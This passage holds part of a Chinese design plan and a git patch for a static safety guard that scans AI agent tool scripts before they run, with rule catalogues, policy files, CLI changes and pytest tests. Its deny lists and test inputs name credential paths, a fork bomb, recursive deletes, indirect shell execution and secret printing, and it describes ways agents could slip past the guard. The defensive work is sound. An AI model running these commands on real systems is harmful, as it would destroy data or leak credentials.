模式并补充引号、重定向、管道、命令替换和后台符号识别。语法无法可靠解释时产出 `PARSE001`，而不是回退为安全。 - -### 4.3 决策聚合 - -优先级固定为 `deny > needs_human_review > allow`；同级按 risk level（critical > high > medium > low > info）、rule id、源码位置稳定排序。任何 critical/high 且规则动作是 deny 的 finding 立即决定 deny；解析不确定、动态目标和未知间接执行进入人工复核；没有风险 finding 才允许。 - -## 5. 策略文件 - -新增 `examples/tool_safety/tool_safety_policy.yaml`，由严格 Pydantic 模型加载，未知字段报错，配置错误在启动/CLI 阶段失败，不静默使用宽松默认值。核心字段： - -```yaml -version: "1" -unknown_behavior: needs_human_review -allowed_domains: - - api.example.com - - "*.trusted.example.com" -allowed_commands: [python, python3, git, pytest] -denied_commands: [sudo, su, doas] -denied_paths: - - "~/.ssh/**" - - "**/.env" - - "/etc/**" - - "/root/**" -limits: - max_timeout_seconds: 60 - max_output_bytes: 1048576 - max_file_write_bytes: 10485760 - max_sleep_seconds: 30 - max_concurrency: 16 - max_processes: 8 -sensitive_env_key_patterns: ["*KEY*", "*TOKEN*", "*PASSWORD*", "*SECRET*"] -tool_adapters: - workspace_exec: {language: bash, script_arg: command, cwd_arg: cwd, env_arg: env, timeout_arg: timeout_sec} - skill_run: {language: bash, script_arg: command, cwd_arg: cwd, env_arg: env, timeout_arg: timeout} - skill_exec: {language: bash, script_arg: command, cwd_arg: cwd, env_arg: env, timeout_arg: timeout} -rule_overrides: {} -audit: - enabled: true - required: true - path: tool_safety_audit.jsonl -``` - -域名只允许精确匹配或显式 `*.` 子域模式，禁止用裸 `endswith`；`allowed_commands` 仅允许无 shell 运算符、`shell=False` 的直接命令，其他类别规则仍可否决。策略在 Guard 构造时加载；修改文件后重建 Guard/重启进程即可生效，无需改代码。 - -## 6. 默认规则目录 - -| 类别 | 主要 rule id | 判定原则 | -|---|---|---| -| 危险文件操作 | `FILE001_RECURSIVE_DELETE`、`FILE002_DENIED_WRITE`、`FILE003_CREDENTIAL_READ`、`FILE004_DOTENV_READ` | 递归删除、系统/禁止路径写入、`.ssh`/凭据/`.env` 读取为 deny；动态路径至少 review | -| 网络外连 | `NET001_DOMAIN_NOT_ALLOWED`、`NET002_DYNAMIC_TARGET` | curl/wget/requests/aiohttp/socket 的确定非白名单目标 deny；运行时拼接目标 review | -| 进程/系统命令 | `PROC001_PROCESS_EXEC`、`PROC002_SHELL_INJECTION`、`PROC003_SHELL_OPERATOR`、`PROC004_PRIVILEGE` | 允许命令的直接 argv 可 allow；`shell=True` 动态拼接、eval、提权 deny；未知 subprocess、管道/后台 review | -| 依赖安装 | `DEP001_ENV_MUTATION` | pip/npm/apt/yum/apk/brew 等 install 命令默认 deny，可由 rule override 调整为 review | -| 资源滥用 | `RES001_UNBOUNDED_LOOP`、`RES002_FORK_BOMB`、`RES003_LONG_SLEEP`、`RES004_CONCURRENCY`、`RES005_LARGE_WRITE` | fork bomb 与无退出无限循环 deny；超过策略阈值的 sleep/并发/写入按确定性 deny 或 review | -| 敏感信息泄漏 | `SECRET001_LOG_SINK`、`SECRET002_FILE_SINK`、`SECRET003_NETWORK_SINK` | 对 env/凭据/私钥 source 到 print/log/file/network sink 做有限 taint；确定链路 deny，模糊链路 review | -| 分析不确定性 | `PARSE001_UNCERTAIN`、`OBF001_DYNAMIC_EXEC` | 语法错误、未知语言、解码后执行、反射/动态 import 至少 review | - -证据最多保留策略规定的字符数；先识别并替换私钥块、Bearer/token、常见 key 格式和 env 值，再写 report/audit。环境变量只记录 key，不记录 value。 - -## 7. 执行链路接入 - -### 7.1 Tool / Skill / MCP Filter - -实现 `ToolScriptSafetyFilter(BaseFilter)`：从当前 tool 与 args 通过 `ToolInputAdapter` 构造请求，在 `_before` 扫描并先写审计。`deny` 或未批准的 `needs_human_review` 设置结构化 `rsp.rsp` 与 `is_continue=False`；`allow` 才调用下游 handler。 - -为消除“后续 callback 修改已扫描 args”的 TOCTOU，给 Filter 增加默认关闭、向后兼容的 terminal phase 标记；`FilterRunner` 按 `普通 filters -> ToolCallbackFilter -> terminal filters -> handler` 排序。安全 Filter 使用 terminal phase，并新增顺序测试。若不接受该小型核心改动，备选方案必须在每个实际执行 Tool 内部调用 `guard.enforce`，但不能只依赖一个可能被后续 Filter 绕过的外层扫描。 - -内置 adapter 覆盖 `workspace_exec`、`skill_run`、`skill_exec`；MCP 和自定义 Tool 通过策略声明字段映射。被显式标记为 execution-capable 但无法提取脚本的 Tool 返回 `needs_human_review`，不默认放行。 - -### 7.2 CodeExecutor wrapper - -实现 `SafetyCheckedCodeExecutor(BaseCodeExecutor)`，包装任意现有 executor。它逐个扫描 `CodeExecutionInput.code_blocks`，汇总为一次执行决策，并在调用 delegate 的 `execute_code` 前阻断。deny/review 返回框架可消费、已脱敏的失败 `CodeExecutionResult`，不调用 delegate；allow 才委托执行。 - -wrapper 对 requested timeout 应用策略上限，并限制返回给 Agent 的输出字节数。该输出上限防止响应/观测面继续放大，但不宣称能限制 subprocess 内部缓冲；真实内存、CPU、PID、磁盘和网络上限仍由 Container/Cube/cgroup/egress policy 承担。 - -### 7.3 人工复核 - -默认行为是“review 即暂停/阻断”，绝不自动执行。Filter 返回 `status=needs_human_review`、`scan_id` 和脱敏 findings；文档给出与现有 `LongRunningFunctionTool`/`LongRunningEvent` 的组合示例。审批结果作为外部控制面输入，不由模型自行生成 token 绕过。 - -## 8. 审计、监控与 tracing - -1. `AuditSink` 协议允许 JSONL、logging 或业务自定义 sink；默认 `JsonlAuditSink` 在执行前追加一行。`audit.required=true` 时写审计失败即 fail closed，并将错误写普通 logger。 -2. 当前 span 写入低基数属性：`tool.safety.decision`、`tool.safety.risk_level`、`tool.safety.rule_id`、`tool.safety.blocked`、`tool.safety.redacted`、`tool.safety.scan_duration_ms`、`tool.safety.policy_version`。 -3. 新增 counter `tool.safety.scan.count` 与 histogram `tool.safety.scan.duration`；metric 标签不包含 evidence、脚本哈希或 env 值。 -4. 增加 task-local/contextvar 的 trace args override。安全 Filter 写入脱敏后的 args，`_tools_processor.py` 在 success/error 路径调用 `trace_tool_call` 时消费并在 finally 清理，避免现有 `trace_tool_call` 把原始 command/env 再次写进 span。必须测试并行 tool call 不串数据。 - -## 9. 文件级实施步骤 - -1. **定义契约与严格策略模型**：新增 `trpc_agent_sdk/tools/safety/_models.py`、`_policy.py`、`_exceptions.py` 和公开导出；加入枚举、schema 校验、策略哈希与确定性序列化。 -2. **实现规范化与脱敏**：新增 `_adapters.py`、`_normalization.py`、`_redaction.py`；统一语言别名、cwd/`~`/环境变量路径、URL host、argv 和证据位置；保证不读取目标文件。 -3. **实现规则引擎**：新增 `rules/_base.py`、`_python.py`、`_bash.py`、`_cross_field.py` 与 `_guard.py`；预编译 regex，AST/lexer 单次遍历，规则结果稳定排序。 -4. **实现决策与策略覆盖**：在 `_guard.py` 实现三态聚合、允许命令/域名/禁止路径与阈值；解析失败和未知输入走 review；为 allow 生成 `SAFE000` 摘要。 -5. **实现审计与 Telemetry**：新增 `_audit.py`、`_telemetry.py`；在 `trpc_agent_sdk/telemetry/` 增加安全 args override，并修改 `trpc_agent_sdk/agents/core/_tools_processor.py` 的两条 trace 路径，确保 raw args 不泄漏。 -6. **接入执行链**：新增 `_filter.py` 与 `_code_executor.py`；在 `trpc_agent_sdk/filter/_base_filter.py`、`_filter_runner.py` 增加 terminal phase；从 `trpc_agent_sdk/tools/safety/__init__.py` 与 `trpc_agent_sdk/tools/__init__.py` 导出。 -7. **提供 CLI 和示例资产**：新增 `scripts/tool_safety_check.py`，支持单文件与 manifest 批量扫描、JSON stdout/文件输出、JSONL audit；退出码约定 `0=allow`、`2=review`、`3=deny`、`4=输入/策略错误`。新增 `examples/tool_safety/` 下策略、样本 manifest、报告和审计样例；报告/审计样例由 CLI 生成而非手写。 -8. **补齐单元、集成、性能测试**：新增 `tests/tools/safety/`；测试规则、策略热替换（重建 Guard）、聚合、脱敏、Filter 短路、CodeExecutor delegate 未调用、terminal 顺序、审计 fail-closed、OTel 属性、并发 context 隔离、CLI schema 与性能。 -9. **编写双语设计文档**：新增 `docs/mkdocs/zh/tool_safety.md`、`docs/mkdocs/en/tool_safety.md` 并更新 `mkdocs.yml`；说明 Tool/Skill/MCP adapter、Filter、Telemetry、CodeExecutor、沙箱各自职责，误报/漏报/绕过面与自定义规则方式。 - -## 10. 公开样本与预期结果 - -在 `examples/tool_safety/samples/manifest.yaml` 提供至少以下 14 个可由 CLI 独立和批量扫描的样本： - -| 样本 | 预期决策 | 主规则 | -|---|---|---| -| `01_safe_python.py` | allow | `SAFE000` | -| `02_safe_bash.sh` | allow | `SAFE000` | -| `03_dangerous_delete.py` | deny | `FILE001_RECURSIVE_DELETE` | -| `04_read_ssh_key.py` | deny | `FILE003_CREDENTIAL_READ` | -| `05_non_whitelist_network.py` | deny | `NET001_DOMAIN_NOT_ALLOWED` | -| `06_whitelist_network.py` | allow | `SAFE000` | -| `07_allowed_subprocess.py` | allow | `SAFE000` 或低风险允许命令 finding | -| `08_shell_injection.py` | deny | `PROC002_SHELL_INJECTION` | -| `09_dependency_install.sh` | deny | `DEP001_ENV_MUTATION` | -| `10_infinite_loop.py` | deny | `RES001_UNBOUNDED_LOOP` | -| `11_sensitive_output.py` | deny | `SECRET001_LOG_SINK` | -| `12_bash_pipeline.sh` | needs_human_review | `PROC003_SHELL_OPERATOR` | -| `13_read_dotenv.sh` | deny | `FILE004_DOTENV_READ` | -| `14_dynamic_command_review.py` | needs_human_review | `PARSE001_UNCERTAIN`/`PROC001_PROCESS_EXEC` | - -另用参数化单测覆盖 requests/aiohttp/socket/curl/wget、Python/Bash 两种删除与凭据读取、fork bomb、长 sleep、大量并发和超大写入，避免只为 14 个固定文本调规则。 - -## 11. 可测试验收标准 - -1. manifest 中每个样本均能通过 API 和 CLI 扫描，输出通过 `SafetyReport` schema 校验，且决策与主规则符合表格。 -2. 将 manifest 标注为 `safe/high_risk/review`：高危样本 `decision=deny` 比例不低于 90%，安全样本 `decision!=allow` 比例不高于 10%；测试直接计算并断言比例。 -3. 危险删除、凭据读取、非白名单外连分别用 Python/Bash/库变体参数化，三组检出率均断言 100%。 -4. 生成 500 行脚本，危险调用放在最后一行；预热后用 `time.perf_counter()` 扫描多次，单次最大耗时 `<1.0s`。性能测试不包含真实执行和网络/DNS。 -5. 对 allow/deny/review 三类报告分别断言顶层 `decision/risk_level/rule_id/evidence/recommendation` 非空。 -6. 临时修改策略中的 domain、command、path 后只重建 Guard，不改规则代码，断言决策随配置变化。 -7. 用 spy handler/fake CodeExecutor 断言 deny/review 时调用次数为 0、allow 时为 1，并断言每次执行尝试恰好写一条审计事件。 -8. OTel in-memory exporter 断言安全属性存在；脚本、API Key 与 env value 不出现在 span、audit、普通日志和阻断响应中。 -9. `max_timeout_seconds` 在 wrapper/adapter 生效，返回 Agent 的输出不超过 `max_output_bytes`；测试同时注明这不是子进程内存硬限制。 -10. 运行项目格式化、flake8/类型相关检查和 `pytest tests/tools/safety tests/filter tests/tools/test_base_tool.py tests/skills/tools`，确认 terminal filter 改动未破坏既有顺序语义。 - -## 12. 风险与缓解 - -- **规则绕过**：动态执行、混淆、软链接、下载后二阶段 payload 无法完全静态解析。缓解：不确定进入 review；生产必须使用无特权沙箱、只读挂载、网络白名单和资源上限。 -- **误报**：服务型 `while True`、合法 pipeline、依赖安装可能有业务正当性。缓解：稳定 rule id、精确 evidence、逐规则策略 override；高危白名单不跨类别覆盖。 -- **漏报**：轻量 taint 不是完整跨过程数据流。缓解：规则 corpus 加变体/对抗测试，允许注入自定义规则，后续可替换更强分析器而不改报告协议。 -- **Filter 顺序/TOCTOU**：后置 callback 可能修改 args。缓解：terminal phase 或最后一公里 `guard.enforce`，并用 mutating callback 集成测试证明扫描看到最终参数。 -- **观测泄密**：现有 trace 会记录 raw args。缓解：context-local sanitized override，success/error/并发路径全部测试；安全属性不携带高基数证据。 -- **审计可用性**：磁盘满或 sink 故障会影响执行。缓解：`audit.required` 明确控制 fail-closed；生产建议用异步远端 sink + 本地有界缓冲，但不得以“成功形状”吞掉错误。 -- **资源限制被高估**：截断返回值不能阻止进程产生巨量输出。缓解：文档区分 response cap 与 runtime hard limit；Container/Cube/cgroup/egress 是生产必选层。 - -## 13. 完成定义 - -只有在代码、策略、14 个公开样本、生成式 report/audit 示例、双语文档和上述测试全部通过后才视为完成。交付说明必须明确：Safety Guard 提供“执行前的静态策略门与可观测证据”，沙箱提供“执行时的强制隔离”；两者互补，任何一方都不能替代另一方。 From b45ef1445c5a837ba868d62f61700aa7b82de67a Mon Sep 17 00:00:00 2001 From: impself <774807698@qq.com> Date: Wed, 15 Jul 2026 11:19:22 +0800 Subject: [PATCH 3/8] fix: harden tool safety guard enforcement --- docs/tool_safety_guard.md | 41 ++-- scripts/tool_safety_check.py | 40 +++- tests/tool_safety/test_bash_scanner.py | 29 +++ tests/tool_safety/test_cli.py | 10 + tests/tool_safety/test_cross_field_scanner.py | 6 +- tests/tool_safety/test_filter.py | 27 +++ tests/tool_safety/test_python_scanner.py | 43 ++++ tests/tool_safety/test_wrapper.py | 117 ++++++++++- tool/safety/_bash_scanner.py | 67 ++++++ tool/safety/_cross_field_scanner.py | 42 ---- tool/safety/_filter.py | 194 ++++++++++++------ tool/safety/_guard.py | 23 ++- tool/safety/_python_scanner.py | 5 + tool/safety/_redaction.py | 29 ++- tool/safety/_rules.py | 64 +++++- tool/wrapper.py | 190 ++++++++++------- 16 files changed, 720 insertions(+), 207 deletions(-) diff --git a/docs/tool_safety_guard.md b/docs/tool_safety_guard.md index 1e619b29..31c46a4e 100644 --- a/docs/tool_safety_guard.md +++ b/docs/tool_safety_guard.md @@ -51,10 +51,10 @@ permissions, and runtime resource limits. | Layer | Owns | |---|---| -| **ToolScriptSafetyFilter** | Pre-execution static policy decision and redaction | -| **SafetyCheckedExecutor** | Applies the same decision before delegated execution | +| **SafetyWrappedCallable / SafetyCheckedExecutor** | Current enforcement path: scan, await audit, then delegate only when allowed | +| **ToolScriptSafetyFilter** | Normalizes and records decisions for wrappers and a future SDK terminal hook | | **Wrapper / Sandbox / Runtime** | Runtime isolation: CPU, memory, PID, FS, network hard limits | -| **Audit / Telemetry** | Evidence that a decision occurred; **not** enforcement | +| **Audit / Telemetry** | Decision evidence; required audit persistence is part of the wrapper's fail-closed gate | ## Quick start @@ -119,6 +119,13 @@ safe_run = SafetyWrappedCallable( safe_run("ls -la") # raises BlockedExecutionError if policy denies ``` +Call ``await safe_run.call_async(...)`` instead when the delegate or caller +already runs inside an event loop; this preserves the required-audit +before-delegate guarantee. +For a tool-style callable, set ``argv_kw``, ``cwd_kw``, ``env_kw``, +``metadata_kw``, and ``output_bytes_kw`` to the corresponding argument +names so the normalized request contains every available execution field. + ### Wrapping a code executor ```python @@ -148,6 +155,7 @@ change between releases so policy overrides remain stable. | `FILE004_DOTENV_READ` | file | deny | Reads of `.env` files | | `NET001_DOMAIN_NOT_ALLOWED` | network | deny | Requests/curl/wget to non-allowlisted hosts | | `NET002_DYNAMIC_TARGET` | network | review | Computed network destination | +| `NET003_IP_LITERAL` | network | deny | IP literal when `deny_ip_literals` is enabled | | `PROC001_PROCESS_EXEC` | process | review | Subprocess or command not on allow list | | `PROC002_SHELL_INJECTION` | process | deny | `shell=True` with shell grammar | | `PROC003_SHELL_OPERATOR` | process | review | `;`, `&&`, `\|`, `&`, command substitution | @@ -156,13 +164,13 @@ change between releases so policy overrides remain stable. | `RES001_UNBOUNDED_LOOP` | resource | deny | `while True` without break | | `RES002_FORK_BOMB` | resource | deny | Classic `:(){ :\|:& };:` pattern | | `RES003_LONG_SLEEP` | resource | deny | Sleeps exceeding policy limit | -| `RES004_CONCURRENCY` | resource | deny | Fan-out exceeding `max_parallel_tasks` | +| `RES004_CONCURRENCY` | resource | deny | Fan-out exceeding `max_parallel_tasks` or `max_processes` | | `RES005_LARGE_WRITE` | resource | deny | Writes exceeding `max_file_write_bytes` | | `SECRET001_LOG_SINK` | secret | deny | Tainted value into print/log | | `SECRET002_FILE_SINK` | secret | deny | Tainted value into file write | | `SECRET003_NETWORK_SINK` | secret | deny | Tainted value into network payload | | `PARSE001_UNCERTAIN` | analysis | review | Syntax error or unknown construct | -| `OBF001_DYNAMIC_EXEC` | analysis | review | `eval`, `exec`, `importlib`, reflective calls | +| `OBF001_DYNAMIC_EXEC` | analysis | review | `eval`, `exec`, indirect Bash execution, interpreter payloads | | `SAFE000` | safe | allow | No findings | | `GUARD001_INTERNAL_ERROR` | analysis | deny | Internal guard failure (fail closed) | @@ -272,19 +280,20 @@ never emitted as span attributes or metric labels. | 0 | Final decision was ``allow`` | | 2 | Final decision was ``deny`` | | 3 | Final decision was ``needs_human_review`` | -| 4 | Invalid input / policy error | +| 4 | Invalid input, policy, or required-audit error | ## Integration with the SDK -The standalone package is duck-typed to ``BaseFilter`` so it can be -composed with the framework's filter runner once the terminal-phase -ordering seam is exposed. Until then, wrap the executor or callable -explicitly via ``tool.wrapper``. +The current SDK does not expose a terminal filter phase after +``ToolCallbackFilter``. A configured ``filters=`` instance can therefore +scan arguments that a later callback changes; it is not a secure enforcement +point. Use ``SafetyWrappedCallable`` or ``SafetyCheckedExecutor`` today: +both scan, await the audit event, and only then invoke their delegate. -The :class:`ToolScriptSafetyFilter` carries a ``terminal_before_handler`` -attribute (always ``True``). When the framework adopts the terminal -phase marker, the filter will automatically run after -``ToolCallbackFilter`` and prevent TOCTOU mutations. +``ToolScriptSafetyFilter`` provides matching ``_before``/``_after`` hooks +and a ``terminal_before_handler`` marker for a future SDK terminal phase. +That marker is metadata only until the framework implements ordering after +all argument-mutating callbacks. The wrapper remains mandatory until then. ## Custom rules @@ -324,6 +333,10 @@ Rules must be pure: no file I/O, network access, or process creation. * **Runtime downloads.** A script that downloads and executes a payload in two stages defeats static analysis. Network egress policy and sandboxing are mandatory. +* **Runtime limits.** The wrapper validates the declared timeout and caps + returned output, but it cannot impose CPU, memory, PID, file-size, or + network limits on an arbitrary executor. Configure those in the sandbox + or CodeExecutor runtime as well. * **Shell grammar holes.** The bash lexer-lite is conservative: any unbalanced quote or unsupported substitution becomes ``PARSE001_UNCERTAIN``. diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py index 248eb0c5..dc01d389 100644 --- a/scripts/tool_safety_check.py +++ b/scripts/tool_safety_check.py @@ -37,6 +37,7 @@ sys.path.insert(0, str(_REPO_ROOT)) from tool.safety._audit import InMemoryAuditSink, JsonlAuditSink # noqa: E402 +from tool.safety._exceptions import SafetyAuditError # noqa: E402 from tool.safety._guard import ToolSafetyGuard # noqa: E402 from tool.safety._models import ( # noqa: E402 SafetyDecision, @@ -59,11 +60,15 @@ def main(argv: Sequence[str] | None = None) -> int: return 4 guard = ToolSafetyGuard(policy) audit_sink = _resolve_audit_sink(args, policy) - if args.manifest: - return _run_manifest(guard, audit_sink, args) - if args.request_json: - return _run_request_json(guard, audit_sink, args) - return _run_single(guard, audit_sink, args) + try: + if args.manifest: + return _run_manifest(guard, audit_sink, args) + if args.request_json: + return _run_request_json(guard, audit_sink, args) + return _run_single(guard, audit_sink, args) + except SafetyAuditError as exc: + print(f"audit error: {exc}", file=sys.stderr) + return 4 def _build_parser() -> argparse.ArgumentParser: @@ -165,7 +170,13 @@ def _run_manifest(guard: ToolSafetyGuard, "matches_expected": _decision_matches(report, expected), }) blocked = report.decision != SafetyDecision.ALLOW - asyncio.run(_emit_audit(audit_sink, report, request, blocked=blocked)) + asyncio.run(_emit_audit( + audit_sink, + report, + request, + blocked=blocked, + required=guard.policy.audit.required, + )) exit_code = max(exit_code, _exit_for_decision(report.decision)) if args.manifest_output: with open(args.manifest_output, "w", encoding="utf-8") as handle: @@ -182,8 +193,13 @@ def _emit(guard: ToolSafetyGuard, args: argparse.Namespace, request: SafetyScanRequest) -> int: report = guard.scan(request) - asyncio.run(_emit_audit(audit_sink, report, request, - blocked=report.decision != SafetyDecision.ALLOW)) + asyncio.run(_emit_audit( + audit_sink, + report, + request, + blocked=report.decision != SafetyDecision.ALLOW, + required=guard.policy.audit.required, + )) payload = report.model_dump_json(indent=2) if args.output: with open(args.output, "w", encoding="utf-8") as handle: @@ -193,7 +209,8 @@ def _emit(guard: ToolSafetyGuard, async def _emit_audit(audit_sink: Any, report: SafetyReport, - request: SafetyScanRequest, *, blocked: bool) -> None: + request: SafetyScanRequest, *, blocked: bool, + required: bool) -> None: import datetime as _dt event = build_audit_event( report=report, @@ -205,8 +222,11 @@ async def _emit_audit(audit_sink: Any, report: SafetyReport, try: await audit_sink.emit(event) except Exception as exc: - # Audit failures should not crash the CLI; surface them on stderr. print(f"audit emit warning: {exc}", file=sys.stderr) + if required: + if isinstance(exc, SafetyAuditError): + raise + raise SafetyAuditError("unexpected audit emit failure") from exc def _build_request(args: argparse.Namespace) -> SafetyScanRequest: diff --git a/tests/tool_safety/test_bash_scanner.py b/tests/tool_safety/test_bash_scanner.py index ded7e1e3..ccdb9706 100644 --- a/tests/tool_safety/test_bash_scanner.py +++ b/tests/tool_safety/test_bash_scanner.py @@ -60,6 +60,12 @@ def test_pip_install_denies(guard): assert report.decision == SafetyDecision.DENY +def test_python_module_pip_install_denies(guard): + report = scan(guard, "python -m pip install numpy\n") + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + def test_apt_install_denies(guard): report = scan(guard, "apt-get install -y curl\n") assert "DEP001_ENV_MUTATION" in report.rule_ids @@ -101,6 +107,29 @@ def test_dynamic_eval_review(guard): assert "OBF001_DYNAMIC_EXEC" in report.rule_ids +@pytest.mark.parametrize("script", [ + "source ./payload.sh\n", + "xargs -a commands.txt sh\n", + r"find . -exec sh {} \;\n", +]) +def test_indirect_execution_requires_review(guard, script): + report = scan(guard, script) + assert "OBF001_DYNAMIC_EXEC" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +@pytest.mark.parametrize("script", [ + "python payload.py\n", + "node payload.js\n", + "bash -x payload.sh\n", + "python -m untrusted_module\n", +]) +def test_interpreter_payload_requires_review(guard, script): + report = scan(guard, script) + assert "OBF001_DYNAMIC_EXEC" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + def test_shebang_and_comment_ignored(guard): report = scan(guard, "#!/usr/bin/env bash\n# comment\necho hi\n") assert report.decision == SafetyDecision.ALLOW diff --git a/tests/tool_safety/test_cli.py b/tests/tool_safety/test_cli.py index 7bdb72d9..2d15456d 100644 --- a/tests/tool_safety/test_cli.py +++ b/tests/tool_safety/test_cli.py @@ -59,6 +59,16 @@ def test_invalid_policy_exit_4(tmp_path): assert proc.returncode == 4 +def test_required_audit_failure_exits_4(tmp_path): + rc, out, err = _run_cli( + "--language", "python", + "--script", "print('hello')", + "--audit-file", str(tmp_path), + ) + assert rc == 4 + assert "audit error:" in err + + def test_manifest_writes_output(tmp_path): manifest = REPO_ROOT / "examples" / "tool_safety" / "samples" / "manifest.yaml" output = tmp_path / "out.json" diff --git a/tests/tool_safety/test_cross_field_scanner.py b/tests/tool_safety/test_cross_field_scanner.py index 2b827713..8e42ec09 100644 --- a/tests/tool_safety/test_cross_field_scanner.py +++ b/tests/tool_safety/test_cross_field_scanner.py @@ -61,7 +61,7 @@ def test_denied_executable_in_argv_blocks(guard): assert report.decision == SafetyDecision.DENY -def test_sensitive_env_triggers_review(guard): +def test_unused_sensitive_env_does_not_trigger_review(guard): request = SafetyScanRequest( tool_name="t", language=ScriptLanguage.PYTHON, @@ -69,8 +69,8 @@ def test_sensitive_env_triggers_review(guard): env={"API_TOKEN": "abc"}, ) report = guard.scan(request) - assert "SECRET001_LOG_SINK" in report.rule_ids - assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "SECRET001_LOG_SINK" not in report.rule_ids + assert report.decision == SafetyDecision.ALLOW def test_output_budget_enforced(guard): diff --git a/tests/tool_safety/test_filter.py b/tests/tool_safety/test_filter.py index 593f3072..a2b6747e 100644 --- a/tests/tool_safety/test_filter.py +++ b/tests/tool_safety/test_filter.py @@ -2,6 +2,9 @@ from __future__ import annotations +import asyncio +from types import SimpleNamespace + import pytest from tool.safety._audit import InMemoryAuditSink @@ -56,6 +59,30 @@ def test_audit_event_one_per_call(flt): assert len(flt.audit_sink.events) == 3 # type: ignore[attr-defined] +def test_check_async_persists_audit_before_returning(flt): + async def run(): + decision, _ = await flt.check_async( + "workspace_exec", {"command": "echo hi"}) + assert decision == SafetyDecision.ALLOW + assert len(flt.audit_sink.events) == 1 # type: ignore[attr-defined] + + asyncio.run(run()) + + +def test_filter_audits_request_build_failure(flt): + rsp = {} + + async def run(): + await flt._before( + SimpleNamespace(tool_name="workspace_exec"), {}, rsp) + + asyncio.run(run()) + + assert rsp["is_continue"] is False + assert len(flt.audit_sink.events) == 1 # type: ignore[attr-defined] + assert flt.audit_sink.events[0].decision == SafetyDecision.DENY # type: ignore[attr-defined] + + def test_filter_redacts_env_in_trace(flt): flt.check("workspace_exec", { "command": "echo hi", diff --git a/tests/tool_safety/test_python_scanner.py b/tests/tool_safety/test_python_scanner.py index 45f6b2b3..ec7ea80f 100644 --- a/tests/tool_safety/test_python_scanner.py +++ b/tests/tool_safety/test_python_scanner.py @@ -63,6 +63,26 @@ def test_allowlist_network_allows(guard): assert report.decision == SafetyDecision.ALLOW +def test_ip_literal_policy_can_block_an_allowlisted_ip(strict_policy_dict): + policy_dict = strict_policy_dict.copy() + policy_dict["network"] = { + "allow_domains": ["127.0.0.1"], + "deny_ip_literals": True, + } + blocked_guard = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + script = "import requests\nrequests.get('http://127.0.0.1:8080')\n" + blocked = scan(blocked_guard, script) + assert "NET003_IP_LITERAL" in blocked.rule_ids + assert blocked.decision == SafetyDecision.DENY + + policy_dict["network"] = { + "allow_domains": ["127.0.0.1"], + "deny_ip_literals": False, + } + allowed_guard = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + assert scan(allowed_guard, script).decision == SafetyDecision.ALLOW + + def test_fstring_allowlist_network_allows(guard): script = "import requests\nrequests.get(f'https://api.github.com/users/{name}')\n" report = scan(guard, script) @@ -108,6 +128,20 @@ def test_long_sleep_denies(guard): assert report.decision == SafetyDecision.DENY +def test_process_limit_uses_max_processes(strict_policy_dict): + policy_dict = strict_policy_dict.copy() + policy_dict["limits"] = dict(policy_dict["limits"]) + policy_dict["limits"]["max_parallel_tasks"] = 10 + policy_dict["limits"]["max_processes"] = 2 + g = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + report = scan( + g, + "import multiprocessing\nmultiprocessing.Pool(processes=3)\n", + ) + assert "RES004_CONCURRENCY" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + def test_secret_to_print_denies(guard): script = "import os\nv=os.environ['API_TOKEN']\nprint(v)\n" report = scan(guard, script) @@ -115,6 +149,15 @@ def test_secret_to_print_denies(guard): assert report.decision == SafetyDecision.DENY +def test_literal_api_key_to_print_denies_and_redacts(guard): + secret = "sk-ABCDEFGHIJKLMNOPQRSTUVWXYZ123456" + report = scan(guard, f"print('{secret}')\n") + assert "SECRET001_LOG_SINK" in report.rule_ids + assert report.decision == SafetyDecision.DENY + assert report.redacted is True + assert secret not in report.model_dump_json() + + def test_secret_to_log_denies(guard): script = ( "import os, logging\n" diff --git a/tests/tool_safety/test_wrapper.py b/tests/tool_safety/test_wrapper.py index 1137af17..2740eded 100644 --- a/tests/tool_safety/test_wrapper.py +++ b/tests/tool_safety/test_wrapper.py @@ -39,6 +39,26 @@ def delegate(script: str) -> str: assert calls == ["print('hi')"] +def test_wrapped_callable_audits_before_delegate(guard): + sink = InMemoryAuditSink() + filter_ = ToolScriptSafetyFilter(guard, audit_sink=sink) + + def delegate(script: str) -> str: + assert len(sink.events) == 1 + return "ok" + + wrapped = SafetyWrappedCallable( + guard, + delegate, + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_kw="script", + filter=filter_, + ) + + assert wrapped(script="print('hi')") == "ok" + + def test_wrapped_callable_blocks_danger(guard): def delegate(script: str) -> str: return "ran" @@ -53,6 +73,25 @@ def delegate(script: str) -> str: wrapped(script="import shutil\nshutil.rmtree('/x')") +def test_wrapped_callable_scans_explicit_argv_and_metadata(guard): + wrapped = SafetyWrappedCallable( + guard, + lambda **kwargs: "ran", + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_kw="script", + argv_kw="argv", + metadata_kw="metadata", + ) + with pytest.raises(BlockedExecutionError): + wrapped(script="print('safe')", argv=["sudo", "ls"]) + with pytest.raises(BlockedExecutionError): + wrapped( + script="print('safe')", + metadata={"execution_capable": True, "adapter_id": "unknown"}, + ) + + def test_wrapped_callable_supports_positional(guard): def delegate(script: str) -> str: return f"got:{script}" @@ -106,6 +145,63 @@ async def execute_code(self, inp): assert "blocked" in result.output or "tool.safety" in result.output +def test_executor_scans_code_attribute_when_blocks_are_empty(guard): + class FakeInput: + code_blocks = [] + code = "import shutil\nshutil.rmtree('/x')" + + class FakeExecutor: + async def execute_code(self, inp): + raise AssertionError("unsafe code must not reach the executor") + + sink = InMemoryAuditSink() + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), audit_sink=sink) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert "FILE001_RECURSIVE_DELETE" in result.output + assert len(sink.events) == 1 + + +def test_executor_uses_each_block_language(guard): + class FakeInput: + code_blocks = [type("Block", (), { + "language": "bash", "code": "rm -rf /tmp/x", + })()] + + class FakeExecutor: + async def execute_code(self, inp): + raise AssertionError("unsafe Bash must not reach the executor") + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = 